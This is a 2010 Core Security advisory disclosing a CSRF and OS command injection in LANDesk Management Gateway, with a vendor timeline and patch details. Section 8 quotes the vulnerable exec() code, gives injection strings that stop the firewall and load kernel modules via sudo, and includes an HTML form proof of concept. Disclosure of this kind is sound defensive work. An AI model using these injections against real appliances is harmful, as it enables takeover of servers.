LANDesk command injection

Advisory ID Internal

1. Advisory Information

Title: LANDesk command injection
Advisory Id: CORE-2010-0104
Date published: 2010-02-04
Date of last update: 2010-02-04
Vendors contacted: LANDesk Team
Release mode: Coordinated release

2. Vulnerability Information

Class: Cross site request forgery [CWE-352], Cross site scripting [CWE-79], OS command injection [CWE-78]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 38119
CVE Name: CVE-2010-0368, CVE-2010-0369

3. Vulnerability Description

The LANDesk division of Avocent Corporation [1] provides systems management, security management, service desk, asset management, and process management solutions to organizations. The company's software is used worldwide.

A security vulnerability was discovered in LANDesk Management Suite: a cross-site request forgery which allows an external remote attacker to make a command injection that can be used to execute arbitrary code using the webserver user. As a result, an attacker can remove the firewall and load a kernel module, allowing root access to the appliance. It also can be used as a non-persistent XSS.

In order to be able to successfully make the attack, the administrator must be logged in to the appliance with the browser that the attacker uses to make the attack (for instance, exploiting a XSS in a different tab in the browser).

4. Vulnerable packages

  • LANDesk Management Gateway 4.0-1.48 (and older)
  • LANDesk Management Gateway 4.2-1.8

5. Non-vulnerable packages

  • LANDesk Management Gateway 4.0-1.61
  • LANDesk Management Gateway 4.2-1.61

6. Vendor Information, Solutions and Workarounds

The patch name is GSBWEB_61. When applied to versions 4.0 and 4.2 of the LANDesk Management Gateway it will bring them to 4.0-1.61 and 4.2-1.61 respectfully. For additional information contact LANDesk support forums [2].

7. Credits

This vulnerability was discovered and researched by Aureliano Calvo and Adrián Manrique from Core Security Technologies.

8. Technical Description / Proof of Concept Code

The Landesk web application does not sufficiently verify if a well-formed request was provided by the user who submitted the request. When the web application receives a request to remove a previously generated backup from a client, the request will be processed by gsb/BackupRestoreTab.php, which has the following lines:

19 $cmd = "sudo /subin/backuptool --delete {$_POST['delBackupName']}"; 20 exec($cmd); 21 $msg = "Successfully Removed: {$_POST['delBackupName']} 

Thus, it might be possible for an attacker to trick a client into making an unintentional request to the web server by handcrafting the delBackupName parameter. As a result, an attacker can generate and send an arbitrary command line (BackupRestoreTab.php:19) that would be executed in the context of the web server (BackupRestoreTab.php:20).

In order to trigger this vulnerability, a POST request with the following parameters must be made to gsb/datetime.php:

<delBackupName>: 'a; [injection]' <backupRestoreFormSubmitted>: 'b'

Using this information an external remote attacker can run arbitrary code using the gsbadmin user (that is the user running the web-server), but the gsbadmin user has sudo privileges. Looking at /etc/sudoers, you can see that the attacker can also take down the firewall (injecting: a; sudo /subin/firewall stop into delBackupName) and load arbitrary kernel modules (injecting a; sudo /subin/modprobe /tmp/a_module), effectively taking complete control of the server.

In order to be able to successfully make the attack, the administrator must be logged in to the appliance with the browser that the attacker uses to make the attack (for instance, exploiting a XSS in a different tab in the browser).

8.1. Proof of Concept

This PoC is an HTML form (that can be hosted on any web site) that makes a request to the [server]. The parameter backupRestoreFormSubmitted must contain any value in order to trigger the vulnerability. The parameter delBackupName contains the actual injection. In the example, we generate the file /tmp/ATTACKED to show that arbitrary shell commands can be executed in the server.

<html> <head><title>LANDesk PoC</title></head> <body> <form method="post" action="https://[server]/gsb/datetime.php"> <input type="text" name="delBackupName" value="; touch /tmp/ATTACKED"> <input type="text" name="backupRestoreFormSubmitted" value="b"> <input type="submit" value="Attack!"> </form> </body> </html> 

9. Report Timeline

  • 2010-01-04: Core Security notifies the LANDesk team of the vulnerability, setting the estimated publication date of the advisory to January 25th 2010.
  • 2010-01-05: The LANDesk team asks Core for a technical description of the vulnerability.
  • 2010-01-05: Technical details sent to LANDesk by Core.
  • 2010-01-05: LANDesk notifies Core that they have reproduced and confirmed the vulnerability. The vendor also notifies that they have created a Change Request in house for this, and that they are currently scoping this issue for setting a time for a patch release.
  • 2010-01-18: Core asks LANDesk team for a status update and reminds the vendor that publication of the advisory is scheduled for January 25th.
  • 2010-01-18: Vendor estimates that it is on track to have the fix ready for publication at the end of the month.
  • 2010-01-21: Core asks LANDesk additional information in order to understand the impact of the vulnerability. Core identifies two different flaws:
    • CVE-2010-0368 - CSRF
    • CVE-2010-0369 - XSS
    but it is not clear whether the vulnerability has to be considered as an OS command injection too.
  • 2010-01-21: LANDesk notifies Core that this flaw is also an OS command injection vulnerability, since the privileges to OS are not implied to users who login to the web interface.
  • 2010-01-22: Vendor informs us that the affected versions are LANDesk Management Gateway prior to 4.0-1.48 and 4.2-1.8. LANDesk also notifies us that the patch for 4.2 versions have been released, but they have ran into a snag getting the 4.0 patch out; for that reason, LANDesk asks Core to postpone the announcement of the advisory for up to 10 days.
  • 2010-01-25: Core responds that the announcement can be postponed if the information about the vulnerability is not public. Core also asks LANDesk for additional information about the released patch for 4.2 versions.
  • 2010-01-26: LANDesk responds that the patch is only available to the users of the 4.2 version of the LANDesk Management Gateway and there was not a public announcement for it. The patch is only available for download in the LANDesk patch content stream; and that means the patch can only be accessed from a LANDesk Management Gateway and is not publically viewable. Details of the vulnerability have not been disclosed in the patch description.
  • 2010-01-29: Core notifies LANDesk that the advisory publication have been rescheduled for the next Thursday, February 4th.
  • 2010-01-29: LANDesk notifies they are on schedule to meet the February 4th date.
  • 2010-02-03: Core asks LANDesk for a status update.
  • 2010-02-04: LANDesk notifies that a fix has been produced for all affected versions and they are ready to make the announcement. LANDesk also notifies they are grateful for Core Security's dedication and professionalism to secure computing.
  • 2010-02-04: The advisory CORE-2010-0104 is published.

10. References

[1] LANDesk website
[2] Vendor information about these issues

11. About CoreLabs

CoreLabs, the research center of Core Security , is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at:

12. About Core Security 

Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. 

13. Disclaimer

The contents of this advisory are copyright (c) 2010 Core Security and (c) 2010 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.